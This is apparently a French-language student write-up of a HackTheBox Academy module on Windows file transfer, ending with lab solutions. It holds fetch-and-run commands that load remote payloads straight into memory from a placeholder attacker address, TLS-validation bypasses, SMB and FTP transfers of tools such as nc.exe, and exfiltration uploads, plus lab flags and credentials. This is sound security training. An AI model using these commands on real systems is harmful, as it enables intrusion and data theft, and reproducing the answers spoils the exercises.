Windows File Transfer Methods
đ Introduction
Le systÚme d'exploitation Windows a évolué au fil des années, apportant de nouveaux outils pour les opérations de transfert de fichiers. Comprendre les méthodes de transfert de fichiers sur Windows est essentiel, tant pour les attaquants que pour les défenseurs :
âïž Les attaquants peuvent exploiter diffĂ©rentes mĂ©thodes pour transfĂ©rer des fichiers et contourner les mĂ©canismes de dĂ©fense.
đ Les dĂ©fenseurs peuvent analyser ces mĂ©thodes pour mettre en place des politiques de surveillance et de protection adaptĂ©es.
Un bon exemple de menace avancĂ©e persistante (APT) est illustrĂ© dans l'article de Microsoft sur l'attaque Astaroth. Cette attaque fileless (sans fichier Ă proprement parler sur le disque) utilise des outils lĂ©gitimes du systĂšme pour ĂȘtre exĂ©cutĂ©e directement en mĂ©moire.
đ SchĂ©ma de l'attaque Astaroth :

Cette attaque illustre la combinaison de plusieurs outils Windows natifs pour effectuer des opérations de transfert de fichiers tout en évitant les mécanismes de défense classiques.
đ§ MĂ©thodes de tĂ©lĂ©chargement de fichiers
Nous disposons d'une machine cible (ex. MS02
) sur laquelle nous devons télécharger un fichier à partir de notre machine d'attaque (ex. Pwnbox
). Voici quelques techniques utilisables dans un environnement Windows.

đ Encodage / DĂ©codage Base64 avec PowerShell
Cette méthode permet de transférer un fichier sans communication réseau directe. Il suffit d'avoir accÚs à un terminal.
Sur la machine attaquante (Linux / Pwnbox) :
md5sum id_rsa
cat id_rsa | base64 -w 0
Sur la machine cible (Windows) :
[IO.File]::WriteAllBytes("C:\Users\Public\id_rsa", [Convert]::FromBase64String("...contenu base64..."))
Vérification de l'intégrité du fichier :
Get-FileHash C:\Users\Public\id_rsa -Algorithm md5
Cette méthode permet de s'assurer que le fichier n'a pas été altéré pendant le transfert. Attention toutefois :
La taille maximale d'une commande dans
cmd.exe
est de 8 191 caractĂšres.Certaines interfaces (comme les webshells) peuvent planter avec de trĂšs longues chaĂźnes.
đ TĂ©lĂ©chargement via PowerShell Web
Dans la majoritĂ© des entreprises, le trafic sortant HTTP et HTTPS est autorisĂ© afin de garantir la productivitĂ©. Ces canaux peuvent donc ĂȘtre exploitĂ©s en post-exploitation pour transfĂ©rer des fichiers. Toutefois, des mĂ©canismes de dĂ©fense peuvent limiter cette approche : filtrage web, blocage de certains types de fichiers (.exe, .ps1, etc.) ou restriction d'accĂšs Ă des domaines spĂ©cifiques (whitelist).
PowerShell propose de nombreuses options pour transfĂ©rer des fichiers via Internet. MĂȘme dans les anciennes versions de PowerShell, la classe .Net.WebClient
permet d'effectuer des téléchargements via HTTP, HTTPS ou FTP.
đ MĂ©thodes WebClient principales :
OpenRead
Retourne les données d'une ressource sous forme de flux (Stream
)
DownloadData
Télécharge les données et retourne un tableau de bytes
DownloadFile
Télécharge un fichier vers un chemin local
DownloadString
Télécharge une chaßne de texte (souvent un script)
...Async
MĂȘme logique que ci-dessus mais sans bloquer le thread principal
đ Exemple : DownloadFile (tĂ©lĂ©chargement classique)
PS> (New-Object Net.WebClient).DownloadFile('https://example.com/outil.ps1','C:\Users\Public\outil.ps1')
đ§ Exemple : DownloadString (tĂ©lĂ©chargement "fileless" + exĂ©cution mĂ©moire)
PS> IEX (New-Object Net.WebClient).DownloadString('https://example.com/payload.ps1')
# ou
PS> (New-Object Net.WebClient).DownloadString('https://example.com/payload.ps1') | IEX
Cela permet d'exécuter un script directement en mémoire sans l'enregistrer sur disque (attaque "fileless").
đą Variante : Invoke-WebRequest
Invoke-WebRequest
Depuis PowerShell 3.0, la commande Invoke-WebRequest
(alias : iwr
, curl
, wget
) est aussi disponible, mais elle est souvent plus lente :
PS> Invoke-WebRequest https://example.com/PowerView.ps1 -OutFile C:\Users\Public\PowerView.ps1
đ ïž ProblĂšme courant : IE non initialisĂ©
Si Internet Explorer nâa pas Ă©tĂ© initialisĂ©, la commande peut Ă©chouer avec une erreur IEDomNotSupportedException
. Pour contourner cela :
PS> Invoke-WebRequest https://<IP ATTAQUANT>/PowerView.ps1 -UseBasicParsing | IEX
đ ProblĂšme SSL/TLS
En cas de certificat non valide, le téléchargement échoue avec une erreur de canal SSL/TLS. Solution temporaire :
PS> [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
đ TĂ©lĂ©chargement via un serveur SMB
Le protocole SMB (port TCP/445) est trÚs courant dans les environnements Windows. Il permet un accÚs distant à des ressources partagées.
đ§ Lancer un serveur SMB (depuis Kali/Pwnbox)
sudo impacket-smbserver partage -smb2support /tmp/dossierpartage
đ„ TĂ©lĂ©charger un fichier depuis la cible Windows :
copy \\<IP ATTAQUANT>\partage\outil.exe C:\Users\Public\outil.exe
đ« AccĂšs invitĂ© bloquĂ© (cas courant)
Des versions récentes de Windows bloquent l'accÚs SMB sans authentification. Le message suivant peut apparaßtre :
"You can't access this shared folder because your organization's security policies block unauthenticated guest access."
â
Solution : utiliser une authentification
Lancer le serveur SMB avec un utilisateur :
sudo impacket-smbserver partage /tmp/partage -username utilisateur -password motdepasse
Monter le partage SMB depuis la cible :
net use \\<IP ATTAQUANT>\partage /user:utilisateur motdepasse
copy \\<IP ATTAQUANT>\partage\outil.exe C:\Users\Public\outil.exe
đ„ïž Serveur SMB avec Identifiant et Mot de Passe
Il est possible de configurer un serveur SMB sur la machine de lâattaquant pour transfĂ©rer des fichiers vers une machine Windows cible. La commande suivante permet de le faire en dĂ©finissant un nom dâutilisateur et un mot de passe :
sudo impacket-smbserver share -smb2support /tmp/smbshare -user test -password test
Exemple de sortie :
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
đ Monter le Partage SMB depuis Windows
Une fois le serveur en place, il est possible de le monter avec la commande suivante :
net use n: \\<IP ATTAQUANT>\share /user:test test
Puis copier un fichier depuis ce partage :
copy n:\nc.exe
đĄ Si la commande
copy
ne fonctionne pas directement, il peut ĂȘtre nĂ©cessaire de monter dâabord le partage comme montrĂ© ci-dessus.
đ TĂ©lĂ©chargement via FTP
Une autre méthode consiste à utiliser FTP, qui fonctionne sur les ports TCP 21 (commande) et 20 (données). Le module pyftpdlib
permet de rapidement mettre en place un serveur FTP.
đ§ Installer pyftpdlib
sudo pip3 install pyftpdlib
đ Lancer le Serveur FTP sur le port 21
sudo python3 -m pyftpdlib --port 21
Exemple de sortie :
>>> starting FTP server on 0.0.0.0:21 <<<
đ„ TĂ©lĂ©charger un fichier depuis Windows avec PowerShell
(New-Object Net.WebClient).DownloadFile('ftp://<IP ATTAQUANT>/file.txt', 'C:\Users\Public\ftp-file.txt')
đ TĂ©lĂ©charger avec un fichier de commandes FTP
Utile en shell non interactif :
echo open <IP ATTAQUANT> > ftpcommand.txt
echo USER anonymous >> ftpcommand.txt
echo binary >> ftpcommand.txt
echo GET file.txt >> ftpcommand.txt
echo bye >> ftpcommand.txt
ftp -v -n -s:ftpcommand.txt
Vérifier ensuite le contenu avec more file.txt
.
đ€ TĂ©lĂ©versement de fichiers depuis la machine cible
Pour des besoins dâexfiltration ou dâanalyse, il peut ĂȘtre utile dâuploader un fichier depuis la machine cible vers la machine de lâattaquant.
đ Encodage Base64 en PowerShell
Permet de copier un fichier sous forme texte pour le transférer facilement.
[Convert]::ToBase64String((Get-Content -path "C:\Windows\system32\drivers\etc\hosts" -Encoding byte))
đ VĂ©rifier l'intĂ©gritĂ© avec un hash
Get-FileHash "C:\Windows\system32\drivers\etc\hosts" -Algorithm MD5 | select Hash
Sur lâattaquant :
echo <chaĂźne base64> | base64 -d > hosts
md5sum hosts
đ Upload via PowerShell et un Serveur Web
PowerShell ne permet pas directement lâenvoi de fichier, mais des scripts comme PSUpload.ps1 peuvent utiliser Invoke-RestMethod
pour uploader des fichiers sur un serveur web configuré.
đ ïž Installer un serveur web avec upload
pip3 install uploadserver
python3 -m uploadserver
Le fichier peut ensuite ĂȘtre envoyĂ© depuis la cible avec un script comme PSUpload.
Le serveur écoute par défaut sur
http://0.0.0.0:8000/
, et la page de transfert est disponible Ă/upload
đ Ressources utiles
Download the file flag.txt from the web root using wget from the Pwnbox. Submit the contents of the file as your answer.
Nous réalisons cet exercice à l'aide de la Pwnbox mise à disposition par HackTheBox.
Nous ouvrons alors Powershell et récupérons le fichier flag.txt présent à la racine de notre cible :
PS [10.10.14.171] /home/htb-ac-1811357/WGET > wget 10.129.124.88/flag.txt
Connecting to 10.129.124.88:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 32 [text/plain]
Saving to: âflag.txtâ
flag.txt 100%[=====================================================================================================================>] 32 --.-KB/s in 0s
2025-07-02 03:18:49 (7.12 MB/s) - âflag.txtâ saved [32/32]
PS [10.10.14.171] /home/htb-ac-1811357/WGET > ls -al
drwxr-xr-x 2 htb-ac-1811357 htb-ac-1811357 4096 Jul 2 03:18 .
drwx------ 24 htb-ac-1811357 htb-ac-1811357 4096 Jul 2 03:18 ..
-rw-r--r-- 1 htb-ac-1811357 htb-ac-1811357 32 Sep 9 2020 flag.txt
PS [10.10.14.171] /home/htb-ac-1811357/WGET > cat ./flag.txt
b1a4ca918282fcd96004565521944a3b
Nous obtenons ainsi le flag attendu :
b1a4ca918282fcd96004565521944a3b
Upload the attached file named upload_win.zip to the target using the method of your choice. Once uploaded, unzip the archive, and run "hasher upload_win.txt" from the command line. Submit the generated hash as your answer.
Afin de télécharger le fichier mentionné, nous utilisons wget dans un premier temps sur notre machine attaquante :
PS [10.10.14.171] /home/htb-ac-1811357/WGET > wget https://academy.hackthebox.com/storage/modules/24/upload_win.zip
--2025-07-02 03:21:25-- https://academy.hackthebox.com/storage/modules/24/upload_win.zip
Resolving academy.hackthebox.com (academy.hackthebox.com)... 109.176.239.69, 109.176.239.70
Connecting to academy.hackthebox.com (academy.hackthebox.com)|109.176.239.69|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 194 [application/zip]
Saving to: âupload_win.zipâ
upload_win.zip 100%[=====================================================================================================================>] 194 --.-KB/s in 0s
2025-07-02 03:21:25 (196 MB/s) - âupload_win.zipâ saved [194/194]
Une fois sur notre poste, nous rézippons le fichier :
unzip ./upload_win.zip
Une fois ceci effectué, nous ouvrons une connexion à distance dans notre répertoire WGET
afin de permettre le téléchargement du zip sur notre cible :
python3 -m http.server 8080
Nous utilisons xfreerdp afin d'accéder à la cible :
xfreerdp /u:htb-student /p:"HTB_@cademy_stdnt!" /v:10.129.124.88
Une fois sur notre cible, nous récupérons le fichier .zip pour en obtenir le hash :

Nous obtenons alors le hash retourné par le fichier :
f458303ea783c224c6b4e7ef7f17eb9d
Mis Ă jour